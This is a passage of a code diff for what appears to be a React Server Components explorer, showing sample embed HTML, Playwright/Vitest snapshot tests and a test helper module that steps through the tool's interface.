return <h1>Hello World</h1>
58
+
}`,
59
+
client: `'use client'`,
60
+
});
61
+
62
+
mount("#counter", {
63
+
server: `import { Counter } from './client'
64
+
65
+
export default function App() {
66
+
return (
67
+
<div>
68
+
<h1>Counter</h1>
69
+
<Counter initialCount={0} />
70
+
</div>
71
+
)
72
+
}`,
73
+
client: `'use client'
74
+
75
+
import { useState } from 'react'
76
+
77
+
export function Counter({ initialCount }) {
78
+
const [count, setCount] = useState(initialCount)
79
+
80
+
return (
81
+
<div>
82
+
<p>Count: {count}</p>
83
+
<div style={{ display: 'flex', gap: 8 }}>
84
+
<button onClick={() => setCount(c => c - 1)}>−</button>
85
+
<button onClick={() => setCount(c => c + 1)}>+</button>
86
+
</div>
87
+
</div>
88
+
)
89
+
}`,
90
+
});
91
+
92
+
mount("#async", {
93
+
server: `import { Suspense } from 'react'
94
+
95
+
export default function App() {
96
+
return (
97
+
<div>
98
+
<h1>Async Component</h1>
99
+
<Suspense fallback={<p>Loading...</p>}>
100
+
<SlowComponent />
101
+
</Suspense>
102
+
</div>
103
+
)
104
+
}
105
+
106
+
async function SlowComponent() {
107
+
await new Promise(r => setTimeout(r, 500))
108
+
return <p>Data loaded!</p>
109
+
}`,
110
+
client: `'use client'`,
111
+
});
112
+
113
+
mount("#form", {
114
+
server: `import { Form } from './client'
115
+
116
+
export default function App() {
117
+
return (
118
+
<div>
119
+
<h1>Form Action</h1>
120
+
<Form greetAction={greet} />
121
+
</div>
122
+
)
123
+
}
124
+
125
+
async function greet(prevState, formData) {
126
+
'use server'
127
+
await new Promise(r => setTimeout(r, 500))
128
+
const name = formData.get('name')
129
+
if (!name) return { message: null, error: 'Please enter a name' }
130
+
return { message: \`Hello, \${name}!\`, error: null }
131
+
}`,
132
+
client: `'use client'
133
+
134
+
import { useActionState } from 'react'
135
+
136
+
export function Form({ greetAction }) {
137
+
const [state, formAction, isPending] = useActionState(greetAction, {
138
+
message: null,
139
+
error: null
140
+
})
141
+
142
+
return (
143
+
<form action={formAction}>
144
+
<div style={{ display: 'flex', gap: 8 }}>
145
+
<input
146
+
name="name"
147
+
placeholder="Enter your name"
148
+
style={{ padding: '8px 12px', borderRadius: 4, border: '1px solid #ccc' }}
149
+
/>
150
+
<button disabled={isPending}>
151
+
{isPending ? 'Sending...' : 'Greet'}
152
+
</button>
153
+
</div>
154
+
{state.error && <p style={{ color: 'red', marginTop: 8 }}>{state.error}</p>}
155
+
{state.message && <p style={{ color: 'green', marginTop: 8 }}>{state.message}</p>}
156
+
</form>
157
+
)
158
+
}`,
159
+
});
160
+
</script>
161
+
162
+
<div id="rsc-explorer" style="height: 500px"></div>
163
+
<script type="module">
164
+
import { mount } from 'https://rscexplorer.dev/embed.js';
165
+
166
+
mount('#rsc-explorer', {
167
+
server: `
168
+
import { Suspense } from 'react'
169
+
import { Timer, Router } from './client'
170
+
171
+
export default function App() {
172
+
return (
173
+
<div>
174
+
<h1>Router Refresh!!!</h1>
175
+
<p style={{ marginBottom: 12, color: '#666' }}>
176
+
Client state persists across server navigations
177
+
</p>
178
+
<Suspense fallback={<p>Loading...</p>}>
179
+
<Router initial={renderPage()} refreshAction={renderPage} />
180
+
</Suspense>
181
+
</div>
182
+
)
183
+
}
184
+
185
+
async function renderPage() {
186
+
'use server'
187
+
return <ColorTimer />
188
+
}
189
+
190
+
async function ColorTimer() {
191
+
await new Promise(r => setTimeout(r, 300))
192
+
const hue = Math.floor(Math.random() * 360)
193
+
return <Timer color={`hsl(${hue}, 70%, 85%)`} />
194
+
}
195
+
`,
196
+
client: `
197
+
'use client'
198
+
199
+
import { useState, useEffect, useTransition, use } from 'react'
200
+
201
+
export function Timer({ color }) {
202
+
const [seconds, setSeconds] = useState(0)
203
+
204
+
useEffect(() => {
205
+
const id = setInterval(() => setSeconds(s => s + 1), 1000)
206
+
return () => clearInterval(id)
207
+
}, [])
208
+
209
+
return (
210
+
<div style={{
211
+
background: color,
212
+
padding: 24,
213
+
borderRadius: 8,
214
+
textAlign: 'center'
215
+
}}>
216
+
<p style={{ fontFamily: 'monospace', fontSize: 32, margin: 0 }}>{seconds}s</p>
217
+
</div>
218
+
)
219
+
}
220
+
221
+
export function Router({ initial, refreshAction }) {
222
+
const [contentPromise, setContentPromise] = useState(initial)
223
+
const [isPending, startTransition] = useTransition()
224
+
const content = use(contentPromise)
225
+
226
+
const refresh = () => {
227
+
startTransition(() => {
228
+
setContentPromise(refreshAction())
229
+
})
230
+
}
231
+
232
+
return (
233
+
<div style={{ opacity: isPending ? 0.6 : 1, transition: 'opacity 0.2s' }}>
234
+
{content}
235
+
<button onClick={refresh} disabled={isPending} style={{ marginTop: 12 }}>
236
+
{isPending ? 'Refreshing...' : 'Refresh'}
237
+
</button>
238
+
</div>
239
+
)
240
+
}
241
+
`
242
+
});
243
+
</script>
244
+
</html>
+49
tests/async.spec.js
+49
tests/async.spec.js
···
1
+
import { test, expect, beforeAll, afterAll, afterEach } from 'vitest';
2
+
import { chromium } from 'playwright';
3
+
import { createHelpers } from './helpers.js';
4
+
5
+
let browser, page, h;
6
+
7
+
beforeAll(async () => {
8
+
browser = await chromium.launch();
9
+
page = await browser.newPage();
10
+
h = createHelpers(page);
11
+
});
12
+
13
+
afterAll(async () => {
14
+
await browser.close();
15
+
});
16
+
17
+
afterEach(async () => {
18
+
await h.checkNoRemainingSteps();
19
+
});
20
+
21
+
test('async sample', async () => {
22
+
await h.load('async');
23
+
24
+
// First tree state - Suspense with Pending
25
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
26
+
"<div>
27
+
<h1>Async Component</h1>
28
+
<Suspense fallback={
29
+
<p>Loading...</p>
30
+
}>
31
+
Pending
32
+
</Suspense>
33
+
</div>"
34
+
`);
35
+
expect(await h.preview()).toMatchInlineSnapshot(`"Async Component Loading..."`);
36
+
37
+
// Tree changes when async data resolves
38
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
39
+
"<div>
40
+
<h1>Async Component</h1>
41
+
<Suspense fallback={
42
+
<p>Loading...</p>
43
+
}>
44
+
<p>Data loaded!</p>
45
+
</Suspense>
46
+
</div>"
47
+
`);
48
+
expect(await h.preview()).toMatchInlineSnapshot(`"Async Component Loading..."`);
49
+
});
+79
tests/bound.spec.js
+79
tests/bound.spec.js
···
1
+
import { test, expect, beforeAll, afterAll, afterEach } from 'vitest';
2
+
import { chromium } from 'playwright';
3
+
import { createHelpers } from './helpers.js';
4
+
5
+
let browser, page, h;
6
+
7
+
beforeAll(async () => {
8
+
browser = await chromium.launch();
9
+
page = await browser.newPage();
10
+
h = createHelpers(page);
11
+
});
12
+
13
+
afterAll(async () => {
14
+
await browser.close();
15
+
});
16
+
17
+
afterEach(async () => {
18
+
await h.checkNoRemainingSteps();
19
+
});
20
+
21
+
test('bound sample - renders bound actions with different greetings', async () => {
22
+
await h.load('bound');
23
+
24
+
// Step to end - should show 3 Greeter forms
25
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
26
+
"<div>
27
+
<h1>Bound Actions</h1>
28
+
<p style={{ color: "#888", marginBottom: 16 }}>Same action, different bound greetings:</p>
29
+
<Greeter action={[Function: bound greet]} />
30
+
<Greeter action={[Function: bound greet]} />
31
+
<Greeter action={[Function: bound greet]} />
32
+
</div>"
33
+
`);
34
+
expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: Greet Greet Greet"`);
35
+
});
36
+
37
+
test('bound sample - three concurrent actions', async () => {
38
+
await h.load('bound');
39
+
40
+
// Step to end to render UI
41
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
42
+
"<div>
43
+
<h1>Bound Actions</h1>
44
+
<p style={{ color: "#888", marginBottom: 16 }}>Same action, different bound greetings:</p>
45
+
<Greeter action={[Function: bound greet]} />
46
+
<Greeter action={[Function: bound greet]} />
47
+
<Greeter action={[Function: bound greet]} />
48
+
</div>"
49
+
`);
50
+
expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: Greet Greet Greet"`);
51
+
52
+
// Fill all three inputs and submit all three forms
53
+
const inputs = h.frame().locator('.preview-container input');
54
+
const buttons = h.frame().locator('.preview-container button');
55
+
56
+
await inputs.nth(0).fill('Alice');
57
+
await inputs.nth(1).fill('Bob');
58
+
await inputs.nth(2).fill('Charlie');
59
+
60
+
await buttons.nth(0).click();
61
+
await buttons.nth(1).click();
62
+
await buttons.nth(2).click();
63
+
64
+
// First action pending
65
+
expect(await h.stepAll()).toMatchInlineSnapshot(`"Pending"`);
66
+
expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: Greet Greet Greet"`);
67
+
68
+
// First action resolves - Hello greeting (second still pending)
69
+
expect(await h.stepAll()).toMatchInlineSnapshot(`"Pending"`);
70
+
expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: GreetHello, Alice! Greet Greet"`);
71
+
72
+
// Second action resolves - Howdy greeting (third still pending)
73
+
expect(await h.stepAll()).toMatchInlineSnapshot(`"Pending"`);
74
+
expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: GreetHello, Alice! GreetHowdy, Bob! Greet"`);
75
+
76
+
// Third action resolves - Hey greeting
77
+
expect(await h.stepAll()).toMatchInlineSnapshot(`""Hey, Charlie!""`);
78
+
expect(await h.preview()).toMatchInlineSnapshot(`"Bound Actions Same action, different bound greetings: GreetHello, Alice! GreetHowdy, Bob! GreetHey, Charlie!"`);
79
+
});
+39
tests/clientref.spec.js
+39
tests/clientref.spec.js
···
1
+
import { test, expect, beforeAll, afterAll, afterEach } from 'vitest';
2
+
import { chromium } from 'playwright';
3
+
import { createHelpers } from './helpers.js';
4
+
5
+
let browser, page, h;
6
+
7
+
beforeAll(async () => {
8
+
browser = await chromium.launch();
9
+
page = await browser.newPage();
10
+
h = createHelpers(page);
11
+
});
12
+
13
+
afterAll(async () => {
14
+
await browser.close();
15
+
});
16
+
17
+
afterEach(async () => {
18
+
await h.checkNoRemainingSteps();
19
+
});
20
+
21
+
test('clientref sample - renders client module exports passed as props', async () => {
22
+
await h.load('clientref');
23
+
24
+
// Check flight rows include client references for themes
25
+
const rows = await h.getRows();
26
+
expect(rows.some(r => r.text.includes('darkTheme') || r.text.includes('lightTheme'))).toBe(true);
27
+
28
+
// Step to end - should show both themed boxes
29
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
30
+
"<div>
31
+
<h1>Client Reference</h1>
32
+
<div style={{ display: "flex", gap: 12 }}>
33
+
<ThemedBox theme={{ background: "#1a1a1a", color: "#fff" }} label="Dark" />
34
+
<ThemedBox theme={{ background: "#f5f5f5", color: "#000" }} label="Light" />
35
+
</div>
36
+
</div>"
37
+
`);
38
+
expect(await h.preview()).toMatchInlineSnapshot(`"Client Reference Dark theme Light theme"`);
39
+
});
+35
tests/counter.spec.js
+35
tests/counter.spec.js
···
1
+
import { test, expect, beforeAll, afterAll, afterEach } from 'vitest';
2
+
import { chromium } from 'playwright';
3
+
import { createHelpers } from './helpers.js';
4
+
5
+
let browser, page, h;
6
+
7
+
beforeAll(async () => {
8
+
browser = await chromium.launch();
9
+
page = await browser.newPage();
10
+
h = createHelpers(page);
11
+
});
12
+
13
+
afterAll(async () => {
14
+
await browser.close();
15
+
});
16
+
17
+
afterEach(async () => {
18
+
await h.checkNoRemainingSteps();
19
+
});
20
+
21
+
test('counter sample', async () => {
22
+
await h.load('counter');
23
+
24
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
25
+
"<div>
26
+
<h1>Counter</h1>
27
+
<Counter initialCount={0} />
28
+
</div>"
29
+
`);
30
+
expect(await h.preview()).toMatchInlineSnapshot(`"Counter Count: 0 − +"`);
31
+
32
+
// Client interactivity works
33
+
await h.frame().locator('.preview-container button').last().click();
34
+
expect(await h.preview()).toContain('Count: 1');
35
+
});
+74
tests/errors.spec.js
+74
tests/errors.spec.js
···
1
+
import { test, expect, beforeAll, afterAll, afterEach } from 'vitest';
2
+
import { chromium } from 'playwright';
3
+
import { createHelpers } from './helpers.js';
4
+
5
+
let browser, page, h;
6
+
7
+
beforeAll(async () => {
8
+
browser = await chromium.launch();
9
+
page = await browser.newPage();
10
+
h = createHelpers(page);
11
+
});
12
+
13
+
afterAll(async () => {
14
+
await browser.close();
15
+
});
16
+
17
+
afterEach(async () => {
18
+
await h.checkNoRemainingSteps();
19
+
});
20
+
21
+
test('errors sample - error boundary catches thrown error', async () => {
22
+
await h.load('errors');
23
+
24
+
// Step to end - should show error fallback (fetchUser throws)
25
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
26
+
"<div>
27
+
<h1>Error Handling</h1>
28
+
<ErrorBoundary fallback={
29
+
<div style={{
30
+
padding: 16,
31
+
background: "#fee",
32
+
borderRadius: 8,
33
+
color: "#c00"
34
+
}}>
35
+
<strong>Failed to load user</strong>
36
+
<p style={{ margin: "4px 0 0" }}>Please try again later.</p>
37
+
</div>
38
+
}>
39
+
<Suspense fallback={
40
+
<p>Loading user...</p>
41
+
}>
42
+
Pending
43
+
</Suspense>
44
+
</ErrorBoundary>
45
+
</div>"
46
+
`);
47
+
expect(await h.preview()).toContain('Error Handling');
48
+
49
+
// After async resolves with error, error boundary catches it
50
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
51
+
"<div>
52
+
<h1>Error Handling</h1>
53
+
<ErrorBoundary fallback={
54
+
<div style={{
55
+
padding: 16,
56
+
background: "#fee",
57
+
borderRadius: 8,
58
+
color: "#c00"
59
+
}}>
60
+
<strong>Failed to load user</strong>
61
+
<p style={{ margin: "4px 0 0" }}>Please try again later.</p>
62
+
</div>
63
+
}>
64
+
<Suspense fallback={
65
+
<p>Loading user...</p>
66
+
}>
67
+
Error: Network error
68
+
</Suspense>
69
+
</ErrorBoundary>
70
+
</div>"
71
+
`);
72
+
expect(await h.preview()).toContain('Failed to load user');
73
+
expect(await h.preview()).toContain('Please try again later');
74
+
});
+40
tests/form.spec.js
+40
tests/form.spec.js
···
1
+
import { test, expect, beforeAll, afterAll, afterEach } from 'vitest';
2
+
import { chromium } from 'playwright';
3
+
import { createHelpers } from './helpers.js';
4
+
5
+
let browser, page, h;
6
+
7
+
beforeAll(async () => {
8
+
browser = await chromium.launch();
9
+
page = await browser.newPage();
10
+
h = createHelpers(page);
11
+
});
12
+
13
+
afterAll(async () => {
14
+
await browser.close();
15
+
});
16
+
17
+
afterEach(async () => {
18
+
await h.checkNoRemainingSteps();
19
+
});
20
+
21
+
test('form sample', async () => {
22
+
await h.load('form');
23
+
24
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
25
+
"<div>
26
+
<h1>Form Action</h1>
27
+
<Form greetAction={[Function: greet]} />
28
+
</div>"
29
+
`);
30
+
expect(await h.preview()).toMatchInlineSnapshot(`"Form Action Greet"`);
31
+
32
+
// Submit form
33
+
await h.frame().locator('.preview-container input[name="name"]').fill('World');
34
+
await h.frame().locator('.preview-container button').click();
35
+
expect(await h.preview()).toMatchInlineSnapshot(`"Form Action Sending..."`);
36
+
37
+
// Action response
38
+
expect(await h.stepAll()).toMatchInlineSnapshot(`"{ message: "Hello, World!", error: null }"`);
39
+
expect(await h.preview()).toMatchInlineSnapshot(`"Form Action Greet Hello, World!"`);
40
+
});
+37
tests/globalSetup.js
+37
tests/globalSetup.js
···
1
+
import { spawn, execSync } from 'child_process';
2
+
3
+
let devServer;
4
+
5
+
export async function setup() {
6
+
await new Promise((resolve, reject) => {
7
+
devServer = spawn('npm', ['run', 'dev', '--', '--port', '5599'], {
8
+
stdio: ['ignore', 'pipe', 'pipe'],
9
+
detached: false,
10
+
});
11
+
12
+
devServer.stdout.on('data', (data) => {
13
+
if (data.toString().includes('Local:')) {
14
+
resolve();
15
+
}
16
+
});
17
+
18
+
devServer.stderr.on('data', (data) => {
19
+
console.error(data.toString());
20
+
});
21
+
22
+
devServer.on('error', reject);
23
+
24
+
// Timeout after 30s
25
+
setTimeout(() => reject(new Error('Dev server failed to start')), 30000);
26
+
});
27
+
}
28
+
29
+
export async function teardown() {
30
+
if (devServer) {
31
+
devServer.kill('SIGTERM');
32
+
// Also kill any process on the port
33
+
try {
34
+
execSync('lsof -ti:5599 | xargs kill -9 2>/dev/null || true');
35
+
} catch {}
36
+
}
37
+
}
+26
tests/hello.spec.js
+26
tests/hello.spec.js
···
1
+
import { test, expect, beforeAll, afterAll, afterEach } from 'vitest';
2
+
import { chromium } from 'playwright';
3
+
import { createHelpers } from './helpers.js';
4
+
5
+
let browser, page, h;
6
+
7
+
beforeAll(async () => {
8
+
browser = await chromium.launch();
9
+
page = await browser.newPage();
10
+
h = createHelpers(page);
11
+
});
12
+
13
+
afterAll(async () => {
14
+
await browser.close();
15
+
});
16
+
17
+
afterEach(async () => {
18
+
await h.checkNoRemainingSteps();
19
+
});
20
+
21
+
test('hello sample', async () => {
22
+
await h.load('hello');
23
+
24
+
expect(await h.stepAll()).toMatchInlineSnapshot(`"<h1>Hello World</h1>"`);
25
+
expect(await h.preview()).toMatchInlineSnapshot(`"Hello World"`);
26
+
});
+212
tests/helpers.js
+212
tests/helpers.js
···
1
+
import { expect } from 'vitest';
2
+
3
+
let prevRowTexts = [];
4
+
let prevStatuses = [];
5
+
let prevPreview = '';
6
+
let previewAsserted = true;
7
+
let pageRef = null;
8
+
let frameRef = null;
9
+
10
+
export function createHelpers(page) {
11
+
pageRef = page;
12
+
13
+
async function load(sample) {
14
+
await page.goto(`http://localhost:5599/?s=${sample}`);
15
+
// Wait for iframe to load and get frame reference
16
+
const iframe = page.frameLocator('iframe');
17
+
frameRef = iframe;
18
+
// Wait for content inside iframe
19
+
await iframe.locator('.log-entry').first().waitFor({ timeout: 10000 });
20
+
await page.waitForTimeout(100);
21
+
prevRowTexts = [];
22
+
prevStatuses = [];
23
+
prevPreview = await getPreviewText();
24
+
previewAsserted = true;
25
+
}
26
+
27
+
async function getPreviewText() {
28
+
return (await frameRef.locator('.preview-container').innerText()).trim().replace(/\s+/g, ' ');
29
+
}
30
+
31
+
async function doStep() {
32
+
const btn = frameRef.locator('.control-btn').nth(2);
33
+
if (await btn.isDisabled()) return null;
34
+
await btn.click();
35
+
await pageRef.waitForTimeout(50);
36
+
37
+
const rows = await getRows();
38
+
const texts = rows.map(r => r.text);
39
+
const statuses = rows.map(r => r.status);
40
+
41
+
for (let i = 0; i < Math.min(prevRowTexts.length, texts.length); i++) {
42
+
expect(texts[i], `row ${i} content changed`).toBe(prevRowTexts[i]);
43
+
}
44
+
45
+
for (let i = 0; i < Math.min(prevStatuses.length, statuses.length); i++) {
46
+
const prev = prevStatuses[i];
47
+
const curr = statuses[i];
48
+
if (prev === 'done') {
49
+
expect(curr, `row ${i}: done should stay done`).toBe('done');
50
+
} else if (prev === 'next') {
51
+
expect(curr, `row ${i}: next should become done`).toBe('done');
52
+
}
53
+
}
54
+
55
+
const prevNextIdx = prevStatuses.indexOf('next');
56
+
if (prevNextIdx !== -1 && prevNextIdx < statuses.length) {
57
+
expect(statuses[prevNextIdx], `previous "next" row should be "done"`).toBe('done');
58
+
}
59
+
60
+
prevRowTexts = texts;
61
+
prevStatuses = statuses;
62
+
63
+
return await tree();
64
+
}
65
+
66
+
async function step() {
67
+
// Check for unasserted preview changes before stepping
68
+
const currentPreview = await getPreviewText();
69
+
if (currentPreview !== prevPreview && !previewAsserted) {
70
+
expect.fail(`preview changed without assertion. Was: "${prevPreview}" Now: "${currentPreview}"`);
71
+
}
72
+
previewAsserted = false;
73
+
return await doStep();
74
+
}
75
+
76
+
async function waitForStepButton() {
77
+
const btn = frameRef.locator('.control-btn').nth(2);
78
+
// Wait for button to be enabled
79
+
await expect.poll(async () => {
80
+
return !(await btn.isDisabled());
81
+
}, { timeout: 10000 }).toBe(true);
82
+
await pageRef.waitForTimeout(50);
83
+
}
84
+
85
+
async function stepAll() {
86
+
// Check for unasserted preview changes before stepping
87
+
const currentPreview = await getPreviewText();
88
+
if (currentPreview !== prevPreview && !previewAsserted) {
89
+
expect.fail(`preview changed without assertion. Was: "${prevPreview}" Now: "${currentPreview}"`);
90
+
}
91
+
92
+
// Wait for steps to be available
93
+
await waitForStepButton();
94
+
95
+
// Step once first to get initial state after stepping
96
+
let lastTree = await doStep();
97
+
if (lastTree === null) {
98
+
previewAsserted = false;
99
+
return await tree();
100
+
}
101
+
let lastPreview = await getPreviewText();
102
+
103
+
// Keep stepping while tree and preview stay the same
104
+
while (true) {
105
+
const nextTree = await doStep();
106
+
if (nextTree === null) break;
107
+
108
+
const nextPreview = await getPreviewText();
109
+
110
+
// If tree or preview changed from previous step, return new state
111
+
if (nextTree !== lastTree || nextPreview !== lastPreview) {
112
+
previewAsserted = false;
113
+
return nextTree;
114
+
}
115
+
116
+
lastTree = nextTree;
117
+
lastPreview = nextPreview;
118
+
}
119
+
120
+
previewAsserted = false;
121
+
return await tree();
122
+
}
123
+
124
+
async function preview() {
125
+
const current = await getPreviewText();
126
+
if (current !== prevPreview) {
127
+
prevPreview = current;
128
+
previewAsserted = true;
129
+
}
130
+
return current;
131
+
}
132
+
133
+
async function stepInfo() {
134
+
return (await frameRef.locator('.step-info').innerText()).trim();
135
+
}
136
+
137
+
async function getRows() {
138
+
return frameRef.locator('.flight-line').evaluateAll(els =>
139
+
els.map(el => ({
140
+
text: el.textContent,
141
+
status: el.classList.contains('line-done') ? 'done'
142
+
: el.classList.contains('line-next') ? 'next'
143
+
: 'pending'
144
+
})).filter(({ text }) =>
145
+
!text.startsWith(':N') &&
146
+
!/^\w+:D/.test(text) &&
147
+
!/^\w+:\{.*"name"/.test(text) &&
148
+
!/^\w+:\[\[/.test(text)
149
+
)
150
+
);
151
+
}
152
+
153
+
async function tree() {
154
+
// Find the log entry containing the "next" line, or the last done entry
155
+
const treeText = await frameRef.locator('.log-entry').evaluateAll(entries => {
156
+
const nextLine = document.querySelector('.line-next');
157
+
if (nextLine) {
158
+
const entry = nextLine.closest('.log-entry');
159
+
const tree = entry?.querySelector('.log-entry-tree');
160
+
return tree?.innerText?.trim() || null;
161
+
}
162
+
// No next line - get the last entry's tree
163
+
if (entries.length === 0) return null;
164
+
const lastEntry = entries[entries.length - 1];
165
+
const tree = lastEntry.querySelector('.log-entry-tree');
166
+
return tree?.innerText?.trim() || null;
167
+
});
168
+
return treeText;
169
+
}
170
+
171
+
async function checkNoRemainingSteps() {
172
+
const initialTree = await tree();
173
+
const initialPreview = await getPreviewText();
174
+
175
+
// Consume remaining steps, but fail if tree or preview changes
176
+
while (true) {
177
+
const btn = frameRef.locator('.control-btn').nth(2);
178
+
if (await btn.isDisabled()) break;
179
+
180
+
await btn.click();
181
+
await pageRef.waitForTimeout(50);
182
+
183
+
const currentTree = await tree();
184
+
const currentPreview = await getPreviewText();
185
+
186
+
if (currentTree !== initialTree) {
187
+
expect.fail(`Unasserted tree change at end of test.\nWas: ${initialTree}\nNow: ${currentTree}`);
188
+
}
189
+
if (currentPreview !== initialPreview) {
190
+
expect.fail(`Unasserted preview change at end of test.\nWas: "${initialPreview}"\nNow: "${currentPreview}"`);
191
+
}
192
+
}
193
+
}
194
+
195
+
function frame() {
196
+
return frameRef;
197
+
}
198
+
199
+
async function waitFor(predicate, options = {}) {
200
+
const timeout = options.timeout || 10000;
201
+
const interval = 50;
202
+
const start = Date.now();
203
+
while (Date.now() - start < timeout) {
204
+
const result = await frameRef.locator('body').evaluate(predicate);
205
+
if (result) return;
206
+
await pageRef.waitForTimeout(interval);
207
+
}
208
+
throw new Error(`waitFor timed out after ${timeout}ms`);
209
+
}
210
+
211
+
return { load, step, stepAll, stepInfo, getRows, preview, tree, checkNoRemainingSteps, frame, waitFor };
212
+
}
+234
tests/kitchensink.spec.js
+234
tests/kitchensink.spec.js
···
1
+
import { test, expect, beforeAll, afterAll, afterEach } from 'vitest';
2
+
import { chromium } from 'playwright';
3
+
import { createHelpers } from './helpers.js';
4
+
5
+
let browser, page, h;
6
+
7
+
beforeAll(async () => {
8
+
browser = await chromium.launch();
9
+
page = await browser.newPage();
10
+
h = createHelpers(page);
11
+
});
12
+
13
+
afterAll(async () => {
14
+
await browser.close();
15
+
});
16
+
17
+
afterEach(async () => {
18
+
await h.checkNoRemainingSteps();
19
+
});
20
+
21
+
test('kitchensink sample - renders all RSC protocol types', async () => {
22
+
await h.load('kitchensink');
23
+
24
+
// Should have many rows for all the different types
25
+
const rows = await h.getRows();
26
+
expect(rows.length).toBeGreaterThan(5);
27
+
28
+
// Step to initial suspense
29
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
30
+
"<div>
31
+
<h1>Kitchen Sink</h1>
32
+
<Suspense fallback={
33
+
<p>Loading...</p>
34
+
}>
35
+
Pending
36
+
</Suspense>
37
+
</div>"
38
+
`);
39
+
expect(await h.preview()).toMatchInlineSnapshot(`"Kitchen Sink Loading..."`);
40
+
41
+
// Step to resolve async content (with delayed promise still pending)
42
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
43
+
"<div>
44
+
<h1>Kitchen Sink</h1>
45
+
<Suspense fallback={
46
+
<p>Loading...</p>
47
+
}>
48
+
<DataDisplay data={{
49
+
primitives: {
50
+
null: null,
51
+
true: true,
52
+
false: false,
53
+
int: 42,
54
+
float: 3.14159,
55
+
string: "hello world",
56
+
empty: "",
57
+
dollar: "$special",
58
+
unicode: "Hello 世界 🌍"
59
+
},
60
+
special: {
61
+
negZero: -0,
62
+
inf: Infinity,
63
+
negInf: -Infinity,
64
+
nan: NaN
65
+
},
66
+
types: {
67
+
date: Date(2024-01-15T12:00:00.000Z),
68
+
bigint: 12345678901234567890n,
69
+
symbol: Symbol(mySymbol)
70
+
},
71
+
collections: {
72
+
map: Map(2) {
73
+
"a" => 1,
74
+
"b" => { nested: true }
75
+
},
76
+
set: Set(3) {
77
+
1,
78
+
2,
79
+
"three"
80
+
},
81
+
formData: FormData {
82
+
key: "value"
83
+
},
84
+
blob: Blob(5 bytes, "text/plain")
85
+
},
86
+
arrays: {
87
+
simple: [1, 2, 3],
88
+
sparse: [
89
+
1,
90
+
empty,
91
+
empty,
92
+
4
93
+
],
94
+
nested: [[1], [2, [3]]]
95
+
},
96
+
objects: {
97
+
simple: { a: 1 },
98
+
nested: {
99
+
x: {
100
+
y: { z: "deep" }
101
+
}
102
+
}
103
+
},
104
+
elements: {
105
+
div: <div className="test">Hello</div>,
106
+
fragment: [
107
+
<span>a</span>,
108
+
<span>b</span>
109
+
],
110
+
suspense: <Suspense fallback="...">
111
+
<p>content</p>
112
+
</Suspense>
113
+
},
114
+
promises: {
115
+
resolved: "immediate",
116
+
delayed: Pending
117
+
},
118
+
iterators: {
119
+
sync: Iterator {}
120
+
},
121
+
refs: {
122
+
dup: {
123
+
a: { id: 1 },
124
+
b: { id: 1 }
125
+
},
126
+
cyclic: {
127
+
name: "cyclic",
128
+
self: [Circular]
129
+
}
130
+
},
131
+
action: [Function: serverAction]
132
+
}} />
133
+
</Suspense>
134
+
</div>"
135
+
`);
136
+
expect(await h.preview()).toMatchInlineSnapshot(`"Kitchen Sink Loading..."`);
137
+
138
+
// Step to resolve delayed promise
139
+
expect(await h.stepAll()).toMatchInlineSnapshot(`
140
+
"<div>
141
+
<h1>Kitchen Sink</h1>
142
+
<Suspense fallback={
143
+
<p>Loading...</p>
144
+
}>
145
+
<DataDisplay data={{
146
+
primitives: {
147
+
null: null,
148
+
true: true,
149
+
false: false,
150
+
int: 42,
151
+
float: 3.14159,
152
+
string: "hello world",
153
+
empty: "",
154
+
dollar: "$special",
155
+
unicode: "Hello 世界 🌍"
156
+
},
157
+
special: {
158
+
negZero: -0,
159
+
inf: Infinity,
160
+
negInf: -Infinity,
161
+
nan: NaN
162
+
},
163
+
types: {
164
+
date: Date(2024-01-15T12:00:00.000Z),
165
+
bigint: 12345678901234567890n,
166
+
symbol: Symbol(mySymbol)
167
+
},
168
+
collections: {
169
+
map: Map(2) {
170
+
"a" => 1,
171
+
"b" => { nested: true }
172
+
},
173
+
set: Set(3) {
174
+
1,
175
+
2,
176
+
"three"
177
+
},
178
+
formData: FormData {
179
+
key: "value"
180
+
},
181
+
blob: Blob(5 bytes, "text/plain")
182
+
},
183
+
arrays: {
184
+
simple: [1, 2, 3],
185
+
sparse: [
186
+
1,
187
+
empty,
188
+
empty,
189
+
4
190
+
],
191
+
nested: [[1], [2, [3]]]
192
+
},
193
+
objects: {
194
+
simple: { a: 1 },
195
+
nested: {
196
+
x: {
197
+
y: { z: "deep" }
198
+
}
199
+
}
200
+
},
201
+
elements: {
202
+
div: <div className="test">Hello</div>,
203
+
fragment: [
204
+
<span>a</span>,
205
+
<span>b</span>
206
+
],
207
+
suspense: <Suspense fallback="...">
208
+
<p>content</p>
209
+
</Suspense>
210
+
},
211
+
promises: {
212
+
resolved: "immediate",
213
+
delayed: "delayed"
214
+
},
215
+
iterators: {
216
+
sync: Iterator {}
217
+
},
218
+
refs: {
219
+
dup: {
220
+
a: { id: 1 },
221
+
b: { id: 1 }
222
+
},
223
+
cyclic: {
224
+
name: "cyclic",
225
+
self: [Circular]
226
+
}
227
+
},
228
+
action: [Function: serverAction]
229
+
}} />
230
+
</Suspense>
231
+
</div>"
232
+
`);
233
+
expect(await h.preview()).toMatchInlineSnapshot(`"Kitchen Sink Loading..."`);
234
+
});
+173
tests/pagination.spec.js
+173
tests/pagination.spec.js
···
1
+
import { test, expect, beforeAll, afterAll, afterEach } from 'vitest';
2
+
import { chromium } from 'playwright';
3
+
import { createHelpers } from './helpers.js';
4
+
5
+
let browser, page, h;
6
+
7
+
beforeAll(async () => {
8
+
browser = await chromium.launch();
9
+
page = await browser.newPage();
10
+
h = createHelpers(page);
11
+
});
12
+
13
+
afterAll(async () => {
14
+
await browser.close();
15
+
});
16
+
17
+
afterEach(async () => {
